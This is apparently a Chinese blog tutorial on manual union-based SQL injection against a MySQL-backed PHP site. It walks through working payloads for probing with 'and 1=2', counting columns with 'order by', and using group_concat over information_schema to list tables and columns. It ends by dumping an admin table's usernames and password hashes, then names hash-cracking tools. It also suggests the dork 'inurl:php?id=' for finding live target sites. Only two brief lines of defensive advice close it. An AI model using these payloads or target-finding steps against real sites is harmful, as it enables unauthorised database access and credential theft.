SQL注入漏洞之MySQL手工注入

MySQL
322
0
0
2023-07-27
标签   SQL注入

友情提示

初入安全,小白一个,本文重在学习与经验分享!

背景

对存在SQL注入漏洞的Web站点进行SQL注入,爆出用户账号信息。

1. 实验环境

本次实验是对MySQL数据库进行手工注入,静态页面不存在SQL注入漏洞,只有动态页面才能进行SQL注入。

靶机 Web URL:

注:查找Web站点的动态页面,即需要到数据库中取数据并将数据返回到web页面的展示的URL进行SQL注入,可以使用搜索引擎搜索”inurl:php?id=”获取动态页面。

2. SQL注入漏洞原理

在动态页面的URL后面输入一些与查询相关的SQL语句(如:条件判断、排序、union联合查询语句),web页面正常显示或者报错显示,说明web页面将你输入的SQL语句没有做任何的处理,直接带入到数据库中进行了select查询并将结果返回给web页面展示,只不过是由于你写的SQL语句正确或者存在错误,导致页面正常显示或者报错显示。

如果出现这种将SQL语句带入到数据库中进行正常查询的情况,基本上就存在SQL注入的漏洞了。

SQL注入漏洞判断是否存在:

(1)在URL后边输入条件查询语句 “and 1=1″,页面会正常显示。

Web URL语句: and 1=1

对应的SQL语句: select * from xy_pro where id=13 and 1=1 ;

# 在SQL语句中”1=1″条件永远为”true”,再加上前边正常查询的条件id=13,进行逻辑与(and)运算,此where条件判断的结果永远为”true”,所以SQL查询能够正常获取数据并返回给web页面展示,所以web页面显示正常。

web页面显示结果

SQL查询结果

(2)在URL后边输入条件查询语句 “and 1=2″,页面会报错显示。

Web URL语句: and 1=2

# 此页面使用的表名为xy_pro

对应的SQL语句: select * from xy_pro where id=13 and 1=2 ;

# 在SQL语句中”1=2″条件永远为”false”,再加上前边正常查询的条件id=13,进行逻辑与(and)运算,此where条件判断的结果永远为”false”。所以,SQL查询的结果为”Null”空值(没有查询到任何数据,但是也正常查询了,只不过获取的数据为空),SQL语句将获取数据(空值)返回给web页面展示,所以web页面显示异常(没有数据)。

web页面显示结果

SQL查询结果

根据以上两种Web页面的显示结果,可以基本判断此Web页面存在SQL注入的漏洞。因为此Web页面对输入的SQL语句没有做任何的处理就直接将SQL语句带入到数据库中进行了数据查询,并将查询结果返回给Web页面进行显示。

3. SQL手工注入过程

在确认web页面存在SQL注入漏洞以后,就可以进行后续的SQL注入了。

3.1 order by排序查询,以报错和不报错两种结果来判断此表中存在几列数据

order by排序查询语句,后边加数字,表示对第几列进行升序(默认)排序查询,此示例是对11列进行升序排序查询,后边的数字可以随便写,多试几次知道页面显示正常。

注意,在一张表中进行SQL排序查询时,如果此列存在,则会将查询结果进行排序后查询出来,如果此列不存在,则会SQL查询报错。

(1)在URL的后边输入”order by 11″,如果报错显示,则判断此表的列数小于11

Web URL语句: order by 11

对应的SQL语句: select * from xy_pro where id=13 order by 11;

web页面显示结果

SQL查询结果

(2)在URL的后边输入”order by 10″,如果页面显示正常,则判断此表的列数为10列

Web URL语句: order by 11

对应的SQL语句: select * from xy_pro where id=13 order by 11;

web页面显示结果

SQL查询结果

3.2 union联合查询,使其报错显示来爆出在web页面中回显展示的列

在SQL查询后,获取的数据基本上不会将所有数据都回显到web页面进行展示,可能只取查询结果集中的部分内容在web页面进行回显展示。所以,此处就可以通过union联合查询,将回显到web页面的列给爆出来,即都有哪些列的数据在web页面进行回显展示。

在3.1章节已经确认此表总共有10列内容,所以在union联合查询时输入1-10数字进行联合查询。1-10的数字只是为了方便记忆都有哪几列而定的,每一列可以是任意的数字,但是不便于记忆。

注意:在union联合查询判断回显web页面的列的数量时,一定要加上”and 1=2″或者其他内容,使SQL1语句报错。否则,是无法爆出都有哪几列会回显web页面进行展示的。

SQL union查询结果

在url后边输入”union select 1,2,3,4,5,6,7,8,9,10″,判断都有哪几列报错,也就是哪几列的数据在web页面展示

Web URL语句: and 1=2 union select 1,2,3,4,5,6,7,8,9,10

对应的SQL语句: select * from xy_pro where id=13 and 1=2 union select 1,2,3,4,5,6,7,8,9,10;

web页面显示结果

SQL查询结果

以上报错结果显示:在第2列、第6列、第7列、第8列,第10列有报错,说明web只取了SQL查询结果集中的这几列在web页面展示。

3.3 union联合查询,使用MySQL函数爆出web站点当前在用的数据库名、表名、列名

在判断出都有哪些列报错后,就可以在某一列上通过使用SQL语言中的函数来爆出当前web站点在用的数据库名、表名、列名以及字段内容等信息了。

在3.2章节中,已经爆出在哪些列有报错,选择其中第2列或者其他报错的列使用database()函数爆出数据库名。

(1)在第2列使用database()函数来爆出web站点在用的数据库名

Web URL语句: and 1=2 union select 1,database(),3,4,5,6,7,8,9,10

对应的SQL语句: select * from xy_pro where id=13 and 1=2 union select 1,database(),3,4,5,6,7,8,9,10;

web页面显示结果

SQL查询结果

成功爆出此站点的数据库名为”xycms”。

(2)union联合查询,使用group_concat()函数爆出web站点当前在用的数据库中所有的表名

# 在MySQL数据库中,information_schema库中tables系统表存储了某个自定义的数据库中的所有的表名

Web URL语句: and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=’xycms’

对应的SQL语句: select * from xy_pro where id=13 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=’xycms’;

web页面显示结果

SQL查询结果

在”xycms”数据库中爆出所有的表名,找到其中比较像存储用户账号信息的表名”manage_user”。

(3)union联合查询,使用group_concat()函数爆出web站点当前在用的数据库中某张表的列名

# xycms库中比较像存储用户账号信息的表为”manage_user”,所以爆出此表的列名

# 在MySQL数据库中,information_schema系统库中columns系统表存储了某个自定义数据库中的某张表的列名

Web URL语句: and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=’manage_user’

对应的SQL语句: select * from xy_pro where id=13 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=’manage_user’;

web页面显示结果

SQL查询结果

成功爆出manage_user表的列名为:id,m_name,m_pwd,c_date

3.4 union联合查询,使用MySQL函数爆出web站点当前在用的某张表的列内容

# 为了方便区分开用户名和密码,建议使用ASCII码0x5c(代表”\”)进行内容分隔

# 也可以使用其他ASCII码进行内容分隔,如:回车。

Web URL语句: and 1=2 union select 1,group_concat(id,0x5c,m_name,0x5c,m_pwd,c_date),3,4,5,6,7,8,9,10 from manage_user

对应的SQL语句: select * from xy_pro where id=13 and 1=2 union select 1,group_concat(id,0x5c,m_name,0x5c,m_pwd,c_date),3,4,5,6,7,8,9,10 from manage_user;

web页面显示结果

SQL查询结果

成功爆出此站点后台管理员的账号信息。其中用户口令是加密的,可以用密码爆破工具解密此密文。如:在线爆破工具:www.cmd5.com、离线爆破工具:john the ripper

3. 安全建议

(1)在动态页面中增加字符替换、特殊字符检查等相关函数,对页面输入的内容进行安全检查。

(2)部署web应用防火墙(WAF)。